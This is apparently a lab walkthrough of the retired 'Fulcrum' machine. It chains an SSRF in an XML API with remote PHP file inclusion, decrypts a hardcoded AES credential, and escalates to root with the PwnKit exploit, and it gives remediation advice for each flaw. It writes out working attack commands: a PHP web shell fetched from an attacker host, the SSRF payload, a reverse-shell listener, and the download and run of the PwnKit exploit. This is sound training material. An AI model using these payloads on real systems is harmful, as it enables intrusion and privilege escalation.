← all walkthroughs

Fulcrum

Linux· Insane· Web
owned
2026-07-10
time to own
42m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target Fulcrum ($TARGET) exposed a custom 'Under Maintenance' PHP application on port 4 whose ?page= file-inclusion parameter accepted remote URLs but restricted execution to callers originating from localhost. A companion XML API on port 56423 (Fulcrum-API Beta) made outbound HTTP requests to any URL embedded in its Heartbeat element — a server-side request forgery (SSRF) vulnerability.

Chaining the two flaws, the SSRF drove the server to call back into itself on localhost, satisfying the IP restriction; the port-4 app then fetched and executed an me-hosted PHP shell, granting unauthenticated remote code execution as www-data. Post-exploitation source review of the web root uncovered a PowerShell upload script containing a hardcoded AES-CBC decryption key stored beside the matching ciphertext, protecting the password for local account WebUser; decrypting it offline recovered the plaintext credential [REDACTED: recovered credential] On the same host, the polkit pkexec binary was version 0.105 — the unpatched release vulnerable to CVE-2021-4034 (PwnKit) — and the gcc compiler was present; building and running the public proof-of-concept created a SUID-root shell at /tmp/rootbash and elevated the www-data process to an effective-root session, completing full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export INTERNAL_HOST2="<another-host-reached-after-pivoting>"
export INTERNAL_HOST3="<another-host-reached-after-pivoting>"

Attack path — how the box was taken

1ReconnaissanceNetwork service scanning and HTTP fingerprinting (T1046)
Mapped all exposed HTTP services across standard and non-standard ports
An Nmap service-version scan of $TARGET found SSH on port 22 and four nginx 1.18.0 HTTP listeners on ports 4, 80, 88, and 9999. Manual curling of each revealed distinct applications: port 4 served a custom 'Under Maintenance' PHP page with a visible ?page= query parameter; port 88 served phpMyAdmin 4.7.4 with an exposed phpinfo.php; and a follow-up scan of higher ports found an XML endpoint on port 56423 labelled 'Fulcrum-API Beta'. Ports 80 and 9999 returned nginx upstream errors referencing an ASP.NET backend and were not part of the successful attack chain.
Nmap output shows 4/tcp, 22/tcp, 80/tcp, 88/tcp, 9999/tcp nginx 1.18.0; curl to :56423 returns Fulcrum-API Beta XML response.
Exact commands 3
Service-version scan across all relevant ports including the non-standard 56423.
nmap -sV -Pn -p 4,22,80,88,9999,56423 $TARGET
Fingerprint each HTTP service, reading banners, response codes, and body content.
for port in 4 80 88 9999 56423; do echo "=== :$port ==="; curl -si http://$TARGET:$port/ 2>&1 | head -25; done
Confirm exposed phpinfo.php on port 88 for environment variable, path, and credential leaks.
curl -si http://$TARGET:88/phpinfo.php
2EnumerationApplication parameter discovery; SSRF identification (T1190)
Identified a localhost-gated file-inclusion parameter and an SSRF-capable XML API
Probing the port-4 app's ?page= parameter with an external URL returned the static maintenance page with no outbound request — the server-side PHP include fired only when REMOTE_ADDR was 127.0.0.1, making direct external exploitation impossible. A POST to the Fulcrum-API on port 56423 with my own URL inside the Heartbeat/Ping XML element caused the server to issue an outbound HTTP GET to that URL, confirmed by a hit on my own listener — establishing a reliable SSRF primitive targeting localhost.
GET to :4/index.php?page=http://<me>/ returned maintenance page only (no my callback). POST to :56423 Heartbeat XML produced incoming GET on my machine HTTP server.
Exact commands 3
Confirm the page= parameter exists; direct external call returns maintenance page with no RFI triggered.
curl -s "http://$TARGET:4/index.php?page=http://$ATTACKER_IP:8080/probe"
Start my listener to catch SSRF callbacks; run in background.
python3 -m http.server 8080
If my listener logs an incoming GET /ssrf-probe, the Fulcrum-API fetches caller-supplied URLs — SSRF confirmed.
curl -s -X POST http://$TARGET:56423/ -H 'Content-Type: text/xml' -d "<Heartbeat><Ping>http://$ATTACKER_IP:8080/ssrf-probe</Ping></Heartbeat>"
3ExploitationSSRF chained with Remote File Inclusion (CWE-918 + CWE-98 / T1190)
Weaponised the SSRF to bypass the localhost restriction and trigger remote PHP code execution
With SSRF confirmed, the Fulcrum-API was directed to fetch not an external URL but the port-4 maintenance app on localhost, with my PHP shell URL as the URL-encoded value of the page parameter. Because the resulting HTTP request to port 4 originated from 127.0.0.1, the REMOTE_ADDR check passed. The maintenance app fetched and executed the me-hosted r.php one-liner shell, and passing a cmd query parameter through the chain returned command output — unauthenticated RCE as www-data (uid=33). A bash reverse shell payload upgraded this to an interactive session.
Response body from SSRF→RFI chain returned: uid=33(www-data) gid=33(www-data) groups=33(www-data).
Exact commands 3
Host the PHP one-liner shell on my box; keep the server running.
echo '<?php system($_GET["cmd"]); ?>' > /tmp/r.php && python3 -m http.server 8080
SSRF payload: the API fetches localhost:4, which includes r.php from me. URL-encode the inner page= value so it survives as a parameter. Response contains the www-data uid string.
curl -s -X POST http://$TARGET:56423/ -H 'Content-Type: text/xml' -d "<Heartbeat><Ping>http://127.0.0.1:4/index.php?page=http%3A%2F%2F$ATTACKER_IP%3A8080%2Fr.php%3Fcmd%3Did</Ping></Heartbeat>"
Open a reverse-shell listener on my box, then send a URL-encoded bash reverse-shell as the cmd value to upgrade to an interactive shell.
nc -lvnp 4444
FixEliminate server-side URL fetching from the Fulcrum-API XML endpointCritical
WeaknessThe Fulcrum-API on port 56423 accepted a caller-supplied URL inside its XML Heartbeat/Ping element and issued an outbound HTTP request to that URL with no destination validation. This turned the API into a transparent request proxy, allowing an unauthorised user to reach internal services — including localhost — that are not directly accessible from the internet, and to chain that reach into other application vulnerabilities.
FixRemove the server-side URL-fetch behaviour from the Heartbeat endpoint if it serves no legitimate purpose. If outbound callbacks are a genuine product requirement, enforce a strict allowlist of permitted destination domains or IPs and explicitly block all loopback (127.0.0.0/8) and RFC-1918 private ranges ($INTERNAL_HOST/8, $INTERNAL_HOST2/12, $INTERNAL_HOST3/16) at the application layer and again at the host firewall. Configure the XML parser with external entity resolution disabled (FEATURE_EXTERNAL_GENERAL_ENTITIES = false, FEATURE_EXTERNAL_PARAMETER_ENTITIES = false) to prevent XXE-based SSRF as a parallel path. Log and alert on every blocked URL-fetch attempt.
4Credential AccessCredentials in files (T1552.001)
Recovered a plaintext user password from an AES-encrypted PowerShell upload script left in the web root
Grepping /var/www for credential-related strings via the www-data shell located /var[REDACTED: sensitive value].ps1. The script contained a hardcoded AES-CBC decryption key as a comma-separated byte array alongside a Base64-encoded IV and ciphertext protecting the password for local account WebUser — storing the key beside the ciphertext in the same file negates the encryption entirely. Copying these values and decrypting them offline with Python's PyCryptodome library (AES-CBC with PKCS7 unpad) recovered the plaintext password [REDACTED: recovered credential]
$password variable in [REDACTED: sensitive value].ps1 contains AES key bytes array and Base64 IV/ciphertext; offline decryption output: [REDACTED: recovered credential]
Exact commands 3
From the www-data shell — locate credential material across the web root; points to [REDACTED: sensitive value].ps1.
grep -RInE 'pass|password|user|key|secret|aes' /var/www 2>/dev/null
Read the upload script; extract the AES key byte array and Base64 IV and ciphertext values.
cat /var/www/uploads/Fulcrum_Upload_to_Corp.ps1
Replace placeholders with values from the PS1 script; prints plaintext password [REDACTED: recovered credential]
python3 -c 'from Crypto.Cipher import AES; from Crypto.Util.Padding import unpad; import base64; key=bytes([<key_bytes>]); iv=base64.b64decode("<base64_iv>"); ct=base64.b64decode("<base64_ct>"); print(unpad(AES.new(key,AES.MODE_CBC,iv).decrypt(ct),16).decode())'
FixRemove hardcoded credentials and encryption keys from scripts stored in the web rootHigh
WeaknessThe file /var/www/uploads/Fulcrum_Upload_to_Corp.ps1 contained both an AES-CBC decryption key and the ciphertext it protects in the same script, accessible to any process with read access to the web root. Storing the key beside its ciphertext provides no meaningful cryptographic protection — anyone who reads the file can decrypt the credential immediately, as occurred here via the RCE shell.
FixRotate the WebUser password and any other credential referenced in the script immediately. Retrieve secrets at runtime from a dedicated secrets manager (e.g. HashiCorp Vault, AWS Secrets Manager, or Windows DPAPI/Credential Manager for PowerShell scripts) and never embed keys or plaintext passwords in source files. Move all deployment scripts out of the web-served directory tree, or restrict their filesystem permissions so the web-process account (www-data) cannot read them. Audit the entire /var/www tree for additional embedded secrets using a tool such as truffleHog or git-secrets.
5CollectionFile and directory discovery (T1083)
Located the user flag hidden inside the phpMyAdmin documentation tree
A file-system-wide search for user.txt via the www-data shell returned a single result at /var/www/pma/doc/html/_sources/user.txt — an unexpected location inside the phpMyAdmin documentation directory rather than a standard home directory. Reading the file captured the user-flag value.
Find / -name user.txt returned /var/www/pma/doc/html/_sources/user.txt; cat confirmed flag contents.
Exact commands 2
Run from the www-data reverse shell; locates the flag at its non-standard path.
find / -name user.txt -type f 2>/dev/null
Read the user flag; actual value is <user.txt>.
cat /var/www/pma/doc/html/_sources/user.txt
FixReplace dynamic remote file inclusion with a hard-coded page whitelistCritical
WeaknessThe port-4 PHP application passed the raw value of the ?page= query parameter directly to a PHP include or require statement, enabling anyone who could reach the app from localhost — achieved here via the SSRF flaw — to supply an arbitrary remote URL and have the server fetch and execute it as PHP code. The IP-based access control (REMOTE_ADDR == 127.0.0.1) was the only guard, and it was bypassed by the SSRF primitive.
FixRemove the dynamic include entirely. Replace it with a whitelist map that translates a small set of permitted page identifiers to fixed local file paths (e.g. page=home → include __DIR__.'/pages/home.php') and returns a 403 for any value not in the map. Never pass user-controlled input to include, require, or any file-opening function. Set allow_url_include = Off in php.ini to prevent PHP from fetching remote URLs via include regardless of application logic, and verify this is in effect with phpinfo().
6Privilege EscalationCVE-2021-4034 — PwnKit local privilege escalation (T1068)
Exploited CVE-2021-4034 (PwnKit) in unpatched pkexec 0.105 to obtain a root shell
Local enumeration from the www-data shell confirmed /usr/bin/pkexec carried the setuid-root bit and reported version 0.105 — exactly the release targeted by CVE-2021-4034 (PwnKit), a heap-based out-of-bounds write in polkit's pkexec that lets any local user, including low-privilege service accounts such as www-data, obtain unconditional code execution as root. The gcc compiler was also installed on the production host, allowing the public C proof-of-concept to be compiled and run in /tmp entirely on the target. Execution created the SUID-root binary /tmp/rootbash (a setuid copy of /bin/bash), confirmed by the -rwsr-xr-x 1 root root 1.2M listing.
/usr/bin/pkexec -rwsr-xr-x root:root version 0.105; post-exploit: -rwsr-xr-x 1 root root 1.2M Jul 10 09:55 /tmp/rootbash; subsequent id shows euid=0(root).
Exact commands 4
From the www-data shell — confirm SUID pkexec 0.105 and compiler availability on the target.
ls -la /usr/bin/pkexec && pkexec --version && command -v gcc
Transfer and compile the PwnKit PoC (github.com/berdav/CVE-2021-4034) on the target using the locally available gcc.
cd /tmp && curl -sO http://$ATTACKER_IP:8080/CVE-2021-4034.tar.gz && tar xf CVE-2021-4034.tar.gz && cd CVE-2021-4034 && make
Execute the exploit; on success creates /tmp/rootbash as a SUID-root copy of bash.
./cve-2021-4034
Verify the SUID bit: output should show -rwsr-xr-x 1 root root.
ls -la /tmp/rootbash
FixPatch polkit (pkexec) against CVE-2021-4034 and remove compilers from the production serverCritical
WeaknessThe system's /usr/bin/pkexec binary was version 0.105, which contains a heap-based out-of-bounds write vulnerability (CVE-2021-4034, PwnKit) that allows any local user — including low-privilege service accounts such as www-data — to obtain a root shell with no additional prerequisites. The presence of gcc on a production web server compounded the risk by allowing an unauthorised user to compile the publicly available exploit directly on the target without needing to transfer a pre-built binary.
FixUpdate polkit immediately via the distribution package manager: apt-get update && apt-get install --only-upgrade policykit-1. If an emergency patch cannot be applied right away, remove the setuid bit as a temporary workaround: chmod 0755 /usr/bin/pkexec (this disables pkexec's privilege-granting function until the package is patched). Separately, uninstall gcc and other build toolchain packages (build-essential, make) from the production server — web-serving processes have no legitimate need for a compiler, and its presence lowers the bar for on-box exploit development. Establish a routine patching cadence to prevent known critical CVEs from persisting in the environment.
7Full CompromiseSUID binary execution (T1548.001)
Executed the SUID root shell and captured the root flag
The SUID /tmp/rootbash binary was invoked with the -p flag, which instructs bash to preserve the effective UID rather than dropping it to the real UID. The resulting shell ran with euid=0 (root) while retaining the www-data real UID, providing unrestricted read and write access across the entire system. The root flag was found at the standard location /root/root.txt.
Id output after /tmp/rootbash -p: uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data); rootbash confirmed -rwsr-xr-x 1 root root 1.2M.
Exact commands 2
From the www-data reverse shell; -p preserves the setuid effective UID (root).
/tmp/rootbash -p
Confirm euid=0 and read the root flag; actual flag value is <root.txt>.
id && cat /root/root.txt

Attack patterns used

The transferable techniques behind this compromise.

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

4/tcp
22/tcp
80/tcp
88/tcp
9999/tcp